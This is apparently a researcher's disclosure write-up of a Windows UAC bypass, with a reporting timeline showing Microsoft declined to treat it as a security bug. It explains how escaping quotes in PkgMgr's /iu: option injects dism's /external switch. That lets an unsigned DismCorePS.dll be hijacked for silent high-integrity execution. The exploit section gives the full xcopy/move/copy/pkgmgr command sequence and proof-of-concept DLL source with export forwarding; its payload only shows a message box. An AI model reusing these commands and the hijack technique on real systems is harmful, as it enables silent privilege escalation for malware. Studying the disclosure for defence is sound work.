Windows 11 UAC Bypass
---[ 1. Overview
A bug exists in Microsoft Windows PkgMgr such that it is possible to inject
additional command line arguments to the "Deployment Image Servicing and
Management" tool (dism.exe). Using this, it is then possible to control the path
from which dism loads its provider dlls. Exploitation of this allows the bypass
UAC restrictions and gain high integrity code execution in all versions of
Windows from Vista to the latest (at time of reporting) preview version of
Windows 11.
---[ 1.1 Reporting timeline
Sept. 7th 2020 - Initial Report to MSRC
Sept. 8th 2020 - MSRC ask how attacker can attacker can exploit and close case
Sept. 9th 2020 - Second Report to MSRC
Sept. 10th 2020 - MSRC close case as UAC not considered security boundary
Sept. 11th 2020 - Ask for clarification
Oct. 11th 2020 - 2 months, no response
Feb. 8th 2022 - Exploit still works on Windows 11
---[ 2. PkgMgr.exe
The Package Manager was introduced in Windows Vista as a way to manage the
installation and removal of software packages and Windows features using only
the command line. It is an "autoElevate" binary, meaning that it is
automatically granted elevated integrity level upon execution.
PkgMgr itself is actually just a command line front end to dism.exe which is the
"Deployment Image Servicing and Management" tool. This does all of the heavy
lifting. Dism is a surprisingly powerful tool with lots of options (including
undocumented ones).
-----[ 2.1 Non-manifest Autoelevate
Autoelevate is a general concept for the ability of a signed application running
within controlled directories to run with elevated privileges. It is actually
implemented in one of two different ways. The first (and most common) is through
the application manifest; the "true" element
determines this. Additionally, applications can be registered for auto elevation
through the registry. PkgMgr uses the latter.
---[ 3. Bugs
It is possible to convince PkgMgr to use additional features of dism that were
never intended to be exposed via this mechanism.
-----[ 3.1 Command Line Switch Injection
It is possible to craft a command such that we can inject additional DISM
switches by escaping quotation marks passed in the /iu: option.
As mentioned above, dism provides a plethora of update and patching
functionality. Usually, it is used to install packages by name (eg. KBnnnnn) but
in this exploit we use a less common (and sparsely documented) feature. DISM
allows domain administrators to create golden master images with pre-installed
software packages and certain packages for deployment across an estate. In order
to do this, an administrator creates a .wim file (windows image), mounts it
locally, then installs updates to it.
This feature is not exposed to PkgMgr (which we need to leverage the auto
elevation), but it is possible to craft a command such that we can inject
additional switches. The command switch we rely on is "/external". Thus; we use
the "/iu" (install update) switch and escape a terminating quotation mark to
inject it.
pkgmgr /iu:"KB66666\" /external:\"%userprofile%\Desktop\Dism2
Note the lack of closing quotation mark at the end of this command. This is
because the PkgMgr program will add this in for us.
Once we have this, we can now convince PkgMgr to slip stream updates into a
location that we control. Unfortunately, this alone is not sufficient as we
havent managed to divert execution into a path that we control as we are still
using standard system32 binaries to perform this action. We therefore need to
chain this with another bug.
-----[ 3.2 Slipstream Install DLL Hijack
Due to the extensible nature of dism, it is unable to properly validate the
signatures of provider DLLs, and instead only validates signatures for ones it
is already aware of. This allows the use of unsigned DLLs to act as dism
prodivers.
It is entirely undocumented, but when dism slipstreams packages into a golden
image, it is possible to specify the dism to use using the /external switch. The
local version validates the certificate on the dism.exe image, but due to the
extensible "provider" architecture, it is unable to easily validate the DLLs.
For this reason, we can simply copy dism to any writable directory and hijack a
DLL. Note that we can't simply replace dism.exe as the certificate is checked.
During testing, I found that hijacking DismCorePS.dll was ideal as it only had a
small number of exported functions to forward.
---[ 4. Exploit
The following assumes that you have Dll which forwards exports to the legitimate
DismCorePS.dll.
xcopy %systemroot%\system32\Dism\ %userprofile%\Desktop\Dism2\
move %userprofile%\Desktop\Dism2\DismCorePS.dll \
%userprofile%\Desktop\Dism2\DismCorePS2.dll
copy exploit.dll %userprofile%\Desktop\Dism2\DismCorePS.dll
pkgmgr /iu:"KB66666\" /external:\"%userprofile%\Desktop\Dism2
Code in the DllMain of DismCorePS.dll will then be executed with elevated
privileges with no UAC prompt. The export forwarding will then ensure that the
rest of the process runs smoothly until exit.
---[ 5. Proof of Concept Dll Code
#include
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=DismCorePS2.#1,@1")
#pragma comment(linker, "/EXPORT:DllGetClassObject=DismCorePS2.#2,@2")
#pragma comment(linker, "/EXPORT:DllGetDismInterfaces=DismCorePS2.#3,@3")
#pragma comment(linker, "/EXPORT:DllRegisterServer=DismCorePS2.#4,@4")
#pragma comment(linker, "/EXPORT:DllUnregisterServer=DismCorePS2.#5,@5")
BOOL APIENTRY DllMain( HMODULE hModule, DWORD fdwReason, LPVOID lpReserved ) {
switch (fdwReason) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"UAC
Bypassed!", L"UAC Bypassed",0); break; case DLL_THREAD_ATTACH: case
DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }